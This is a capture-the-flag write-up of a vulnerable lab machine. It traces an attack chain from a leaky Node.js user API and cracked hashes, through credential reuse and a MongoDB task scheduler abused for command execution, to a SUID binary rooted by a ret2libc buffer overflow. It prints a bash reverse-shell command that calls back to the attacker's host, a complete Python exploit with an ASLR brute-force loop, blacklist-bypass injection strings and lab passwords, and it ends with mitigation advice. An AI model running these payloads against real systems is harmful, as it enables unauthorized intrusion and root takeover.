Overview

Machine author: rastating. Focus: privilege escalation (misconfiguration / service abuse, and a ret2libc BOF).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
recon
   +- leaky API /api/users/  ->  crack hashes  ->  login as web admin
   v
download myplace.backup (base64 -> zip)
   +- crack the zip password (john)  ->  application source  ->  Mongo creds
   v
SSH as mark (password reuse)
   +- privesc #1 (mark -> tom): a Mongo-driven scheduler runs exec() as tom
   v
privesc #2 (tom -> root): SUID /usr/local/bin/backup -> ret2libc BOF (plus unintended methods)

Skills: API enumeration, credential reuse, service abuse through a database, SUID binary analysis (ltrace/Ghidra), ret2libc, NX + ASLR bypass, blacklist filter bypass.

Reconnaissance

1
2
22/tcp   OpenSSH 7.2p2 Ubuntu (suggests Ubuntu 16.04)
3000/tcp Node.js Express framework

-sC can misreport port 3000 as Hadoop. When a result looks odd, verify with another scan (-sV); do not trust one tool blindly.

The Express application (port 3000):

  • The AngularJS client code in /assets/js/app/controllers/* reveals backend endpoints /api/....
  • Key endpoints:
    • /api/users/latest: returns users together with password hashes (SHA-256, unsalted)
    • /api/users/<username>: a single user’s data
    • /api/users/ (empty username): returns everyone, including the hidden admin myP14ceAdm1nAcc0uNT with is_admin: true

An API that exposes hashes is broken access control / excessive data exposure. Always test path variants: /api/users/, /api/users/<x>, /api/users/latest.

Cracking: unsalted SHA-256, so check online (CrackStation) first, then locally.

1
myP14ceAdm1nAcc0uNT : manchester

Initial Access

  1. Log into the web admin account; the file myplace.backup becomes available.

  2. It is one long base64 string:

    1
    2
    
    cat myplace.backup | base64 -d > myplace.backup.zip
    file myplace.backup.zip     # Zip archive data
    
  3. The zip is password protected:

    1
    2
    
    zip2john myplace.backup.zip > zip.hash
    john zip.hash --wordlist=rockyou.txt --format=PKZIP   # -> magicword
    
  4. The extracted source (var/www/myplace/app.js) contains a Mongo connection string:

    1
    
    mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?...
    
  5. Credential reuse: the same password works over SSH:

    1
    
    sshpass -p '5AYRft73VtFpc84k' ssh [email protected]
    

Passwords from connection strings and configuration files should always be tested over SSH and other services.

Lateral Movement

mark to tom, service abuse via MongoDB

The pattern: a service running as another user, fed data you control.

1
ps auxww

Two processes run as tom:

1
2
tom  /usr/bin/node /var/www/myplace/app.js       <- the site
tom  /usr/bin/node /var/scheduler/app.js         <- interesting

/var/scheduler/app.js:

1
2
3
4
5
6
7
8
9
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?...';
setInterval(function () {
  db.collection('tasks').find().toArray(function (error, docs) {
    docs.forEach(function (doc) {
      exec(doc.cmd);                                   // runs as tom
      db.collection('tasks').deleteOne({ _id: ... });  // cleans up
    });
  });
}, 30000);                                             // every 30 seconds

Every 30 seconds it reads the tasks collection and runs exec(doc.cmd) as tom, then deletes the task.

The Mongo password for mark is reused on the scheduler database:

1
2
3
mongo -u mark -p 5AYRft73VtFpc84k scheduler
> show collections            # tasks
> db.tasks.insert({"cmd": "touch /tmp/ghost"})   # PoC, the file is created as tom

Reverse shell:

1
> db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.14.x/443 0>&1'"})

On the listener (nc -lnvp 443) you get a shell as tom within 30 seconds. Stabilisation:

1
2
python3 -c 'import pty;pty.spawn("bash")'
# Ctrl+Z, then: stty raw -echo; fg, then: reset / export TERM=xterm

Service-abuse checklist:

  • ps auxww: processes of other users, especially root and target users
  • scripts/services that read data from a database, file or queue and execute it
  • do you have access to that data source? (credential reuse)
  • cron jobs (/etc/crontab, /etc/cron.*, crontab -l)
  • writable files/scripts run by privileged processes

Privilege Escalation

tom to root, SUID + ret2libc BOF

1
2
id
# uid=1000(tom) ... groups=...,1002(admin)   <- GID > 1000 = a manually created group

A GID above 1000 is a non-system group added by an admin, so it is suspicious. Find its files:

1
2
find / -group admin -ls 2>/dev/null
# -rwsr-xr--  root admin  /usr/local/bin/backup   <- SUID root, executable by the admin group

SUID root means the binary runs with root privileges regardless of who runs it. Force it to execute your code and the code runs as root.

What backup does (dynamic analysis with ltrace). Called as backup <flag> <token> <path>:

  1. geteuid() then setuid(...).

  2. Compares arg 1 with -q (quiet mode: print base64 only).

  3. Reads tokens from /etc/myplace/keys and compares with arg 2. A valid token is any from the file, or the empty string "" (there is a blank line).

  4. Blacklist filter on arg 3 (the path): rejects .., /root, ;, &, backtick, $, |, //, /etc.

  5. Builds a command and runs it via system():

    1
    2
    
    /usr/bin/zip -r -P magicword <tmpfile> <path> > /dev/null
    /usr/bin/base64 -w0 <tmpfile>
    

Correct use:

1
backup -q "" /dev/shm/     # zips the directory and prints base64 (decodes to a zip)

Finding the vulnerability, an unsafe strcpy

In ltrace (without -q):

1
strcpy(0xfffb1ecb, "/dev/shm")     # path copied into a buffer with no length limit
1
2
backup -q "" $(python -c 'print "A"*2000')
# Segmentation fault (core dumped)      <- classic stack buffer overflow

The vulnerable strcpy only occurs without -q. Do not use -q for exploitation.

Protections, checksec backup

1
2
3
4
5
Arch:    i386-32-little     <- 32-bit -> function arguments on the STACK (cdecl)
RELRO:   Partial
Stack:   No canary found    <- overwrite the return address freely
NX:      NX enabled         <- non-executable stack -> shellcode is out -> need ret2libc
PIE:     No PIE (0x8048000) <- binary at a fixed address

Plus cat /proc/sys/kernel/randomize_va_space = 2, so ASLR is enabled (libc is randomized).

ProtectionEffectResponse
No canaryNo buffer guardOverwrite the return address directly
NX enabledCannot execute stack coderet2libc (reuse libc code)
No PIEBinary at a fixed addressLess relevant, we target libc anyway
ASLR (libc)libc randomizedBrute force (low entropy on 32-bit)

What ret2libc is

NX blocks executing your code on the stack, so call code that is already in memory and executable: the system() function from libc, with the argument "/bin/sh".

On x86 32-bit (cdecl), arguments are passed on the stack, and ret pops an address and jumps there. Build a fake stack frame as if someone had normally called system("/bin/sh").

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
                 LOWER ADDRESSES
     +------------------------------+
     |   512 x "A"  (padding)       |  fills the buffer + saved EBP
     +------------------------------+
EIP->|   &system                    |  after 'ret' the CPU jumps here
     +------------------------------+
     |   &exit                      |  the "return address" seen by system()
     +------------------------------+
     |   &"/bin/sh"                 |  1st argument to system() (cdecl: above the ret addr)
     +------------------------------+
                 HIGHER ADDRESSES

When ret jumps to system, it assumes a normal call: a return address just above it (we give exit, to exit cleanly), and above that the first argument (a pointer to "/bin/sh").

Finding the offset to EIP

1
2
3
4
5
# a limited alphabet, so no blacklisted characters are generated
msf-pattern_create -l 1000 -s ABC...Z,abc...z,0123456789
# run in gdb: r a '' '<pattern>' -> crash, EIP = 0x31724130 ('0Ar1')
msf-pattern_offset -l 1000 -s ABC...,abc...,0123456789 -q 0Ar1
# [*] Exact match at offset 512

libc addresses (offsets from base)

1
2
3
readelf -s /lib32/libc.so.6 | grep ' system@@'    # 0x0003a940
readelf -s /lib32/libc.so.6 | grep ' exit@@'      # 0x0002e7b0
strings -a -t x /lib32/libc.so.6 | grep '/bin/sh' # 0x15900b

Runtime address = libc base + offset.

Bypassing ASLR, why brute force is enough

1
2
for i in {1..20}; do ldd /usr/local/bin/backup | grep libc; done
# libc.so.6 => /lib32/libc.so.6 (0xf75XX000)
  • Always prefix 0xf7
  • Always suffix 000 (page alignment, 0x1000)
  • Only the middle digits vary, in a narrow range (~0x540-0x614)

Effective entropy is roughly 9 bits (~512 possibilities). Each failed attempt takes a fraction of a second, so guess a fixed base address and loop:

  • one attempt succeeds roughly 0.1-0.2% of the time
  • ~500 attempts is ~63%+ chance of success

Payload script (Python 3) plus brute force

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#!/usr/bin/env python3
import struct, sys

libc_base = 0xf75c2000                                   # guessed fixed libc base
system    = struct.pack("<I", libc_base + 0x0003a940)
exit_     = struct.pack("<I", libc_base + 0x0002e7b0)
binsh     = struct.pack("<I", libc_base + 0x15900b)

path = b"A"*512 + system + exit_ + binsh                 # 512 padding + ret2libc frame
sys.stdout.buffer.write(path)
1
2
3
4
for i in {1..5000}; do backup a '' $(python3 root.py); done
# ... after some attempt the libc base is hit:
# uid=0(root) gid=1000(tom) groups=...
# cat /root/root.txt

ret2libc micro-checklist

  1. checksec: confirm no canary, NX on, 32-bit.
  2. Find a vulnerable strcpy/gets/sprintf (ltrace/Ghidra).
  3. Offset to EIP: pattern_create -> crash -> pattern_offset.
  4. Addresses: system, exit, "/bin/sh" (readelf + strings), added to the libc base.
  5. Payload: padding + &system + &exit + &binsh.
  6. If ASLR: assess entropy; on 32-bit, brute force in a loop.

Unintended paths to root (a lesson about blacklist filters)

The author filtered /root, .., ;, &, backtick, $, |. A blacklist almost always leaks.

The ~ environment variable:

1
HOME=/root backup -q "" "~" | base64 -d > root.zip     # zips /root

Wildcards defeat the literal /root:

1
2
backup -q "" "/roo?/" | base64 -d > root.zip           # ? = 1 char -> /root
backup -q "" "/roo*/" | base64 -d > root.zip

Command injection via newline (no ;/|, but a newline in system() acts as a new command):

1
2
3
backup -q "" '
/bin/bash
'

When you see a blacklist filter before system()/exec(), immediately test wildcards (* ? [ ]), ~, $HOME and other env vars, newline (\n), quotes and encodings.

Predicting the temp-file name does not work: /tmp/.backup_<rand> comes from srand(mix(pid, time, clock)). pid and time are guessable, but clock() (process CPU time) is not, so a symlink/race attack is out.

Detection and Mitigation

  • Do not expose password hashes through an API; enforce authorization on every path variant.
  • Do not reuse database passwords for system accounts.
  • Do not let a service execute unvalidated data from a database.
  • SUID binaries: use safe string functions, pass arguments as a list to exec (no shell), and validate paths with an allow-list regex rather than a blacklist.
  • Stack protections: enable canaries, PIE and full RELRO.

Lessons Learned

  • NX on means ret2libc; reuse system() from libc.
  • cdecl (32-bit): arguments on the stack; layout padding + &system + &exit + &"/bin/sh".
  • No canary means you can overwrite the return address freely.
  • ASLR on 32-bit has low entropy (~9 bits), so brute force in a loop.
  • Do not use -q for the backup BOF (no vulnerable strcpy with it).
  • Blacklists leak: ~, $HOME, wildcards ? *, newline, quotes.
  • GID > 1000 is a custom group; find / -group <name> finds its files.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# situational awareness
id; sudo -l; groups
ps auxww
find / -perm -4000 -type f 2>/dev/null      # SUID
find / -perm -2000 -type f 2>/dev/null      # SGID
find / -group $(id -gn) -ls 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab; ls -la /etc/cron.*
netstat -tulpn 2>/dev/null

# foothold
cat myplace.backup | base64 -d > myplace.backup.zip
zip2john myplace.backup.zip > zip.hash
john zip.hash --wordlist=rockyou.txt --format=PKZIP
sshpass -p '5AYRft73VtFpc84k' ssh mark@<IP>

# mark -> tom
mongo -u mark -p 5AYRft73VtFpc84k scheduler
> db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/<LHOST>/443 0>&1'"})

# tom -> root
checksec /usr/local/bin/backup
for i in {1..5000}; do backup a '' $(python3 root.py); done